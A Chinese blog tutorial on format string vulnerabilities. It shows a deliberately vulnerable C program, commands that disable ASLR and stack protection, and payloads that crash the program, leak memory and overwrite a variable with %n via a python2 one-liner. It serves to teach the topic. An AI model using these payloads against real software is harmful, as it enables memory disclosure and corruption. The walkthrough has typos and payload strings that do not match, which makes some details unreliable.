格式化字符串漏洞

        格式化字符串漏洞发生的条件就是格式字符串要去的参数和实际提供的参数不匹配。

        漏洞利用:

                对于格式化字符串漏洞的利用主要有:使程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖、任意地址内存覆盖。

        1. 使程序崩溃:使用类似下面的程序代码会使得程序崩溃,原因有3点:1). 对于每一个%s,都要从栈中获取一个数字,将其视为一个地址,然后打印出地址指向的内存,直到出现一个空字符串;2) 获取的某个数字不是一个地址;3)获取的数字是一个地址,但是该地址受保护。

printf("%s%s%s%s%s%s%s%s");

        2. 栈数据泄露:攻击者可以利用格式化函数获得内存数据,为漏洞利用做准备。注意printf函数的参数是以逆序被压入栈中的。示例:

#include <stdio.h>
void main()
{
    char format[128];
    int arg1 =1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, argv1, arg2, arg3, arg4);
    printf("\n");
}

echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -m32 -fno-stack-protector -no-pie fmtdemo.c -o fmtdemo

        首先我们输入“%08x.%08x.%08x.%08x.%08x”作为格式字符串,要求printf从栈中取出5个参数以8位十六进制数的形式打印。

        汇编后可以看到:

0xffffcd20|+0x0000:0xffffcd54 -> "%08x.%08x.%08x.%08x.%08x" <- $esp
0xffffcd24|+0x0004:0x00000001
0xffffcd28|+0x0008:0x88888888
0xffffcd2c|+0x000c:0xffffffff
0xffffcd30|+0x0010:0xffffcd4a -> "ABCD"
0Xffffcd30|+0x0014:0xffffcd54 -> "%08x.%08x.%08x.%08x.%08x"
gef》 c
0000001.88888888.ffffffff.ffffcd4a.ffffcd54

        在打印完当前函数的剩余参数后,printf就会打印当前函数的栈帧。

        3. 任意内存地址泄露:攻击者利用类似%s的格式规范就可以泄露出参数指向的内存数据。以上面的程序为例,输入%4$s,此时输出的arg4就变成了字符串ABCD,而不是地址。

             尝试获取任意内存的数据,此时就需要手动将地址写入栈中,我们输入类似AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p。可以看到,"0x41414141"是打印的第13个字符。所以我么使用%13$s就可以读出0x41414141所指向的内存。当然,这里是一个不合法的地址。可以将其换成一个合法的地址,比如字符串ABCD的地址0xffffcd4a。

        4. 栈数据覆盖:利用%n转换指示符:将0x8048000写入内存中

printf("%0134513640d%n\n", 1, &i);
printf("%x\n", i);

$./a.out
0x8048000

        在最开始的程序中,尝试将arg2的值更改为任意值(例如0x00000020, 32),构造字符串:“

\x28\xcd\xff\xff%08x%012d%13$n”,其中\x28\xcd\xff\xff是arg2的地址(没想明白为什么就要写这个地址),4字节,%08x%08x表示两个8字符宽的十六进制数,占16字节,%012d占12字节,三个部分加起来32字节,也就是把arg2赋值为0x00000020.最后一部分%13$n是最重要的部分,表示格式字符串的第13个参数,即写入0xffffcd28的地方(0xffffcd58),printf通过这个地址找到被覆盖的数据。

python2 -c 'print("\x28\xcd\xff\xff%08x%08x%012d%13$n")' > text

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值